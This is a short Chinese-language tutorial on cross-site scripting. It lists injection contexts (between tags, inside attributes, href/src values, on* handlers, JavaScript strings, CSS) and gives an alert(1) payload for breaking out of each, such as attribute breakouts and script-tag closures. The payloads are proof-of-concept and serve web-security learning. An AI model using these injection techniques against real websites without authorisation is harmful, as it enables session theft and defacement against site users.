0x01 HTML标签之间
例如输出点:
1 | <div id="body">[输出]</div> |
直接提交
1 | <script>alert(1)</script> |
即可触发XSS,但是当标签是不能执行脚本的标签 总结
那么就得先把那个标签闭合,然后在注入XSS语句,例如
1 | </textarea><script>alert(1)</script> |
0x02 HTML标签之内
例如输入点:
1 | <input type="text" value="[输出]"/> |
两种方法:
闭合属性,然后用on时间来触发脚本
1
" onmouseover=alert(1) x="
闭合属性后闭合标签,然后直接执行脚本
1
"><script>alert(1)</script>
还有一些特殊的场景:
1 | <input type="hiden" value="[输出]" /> |
这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本
1 | <input value="[输出点]" type="hidden"/> |
但是这里可以输入
1 | 1" onmouseover=alert(1) type="text |
输出变为
1 | <input value="1" onmouseover=alert(1) type="text" type="hidden" /> |
这时候的输出就不再是隐藏表单了,而是标准输入框
再比如这两类场景:
- 输出在src/href/action等属性内,比如
1
<a href="[输出]">click me </a>
除了各种闭合标签外,还可以
1 | javascript:alert(1)// |
前提是我们提交的payload必须出现在这些属性值的开头部分(data:协议的必须作为整个属性值出现,IE不支持)
对于javascript:alert(1)//来说,如果网站把注释符//过滤了,那么我们还可以用javascript逻辑与算数运算符,因为JavaScript是弱类型语言,字符串与字符串之间的各种运算是合法的,可以用
1 | <a href="javascript:alert(1) - html">click me</a> |
- 输出在on*事件内,比如
1
<a href="#" onclick="[输出]">click me</a>
on*事件是可以执行javascript脚本的。
0x03 成为Javascript代码的值
例如
1 | <script>a="[输出]";...</script> |
此时我们可以闭合标签
1 | </script><script>alert(1)// |
也可以闭合a变量的值
1 | ";alert(1);// |
0x04 成为CSS代码的值
打开就是利用expression关键词来执行脚本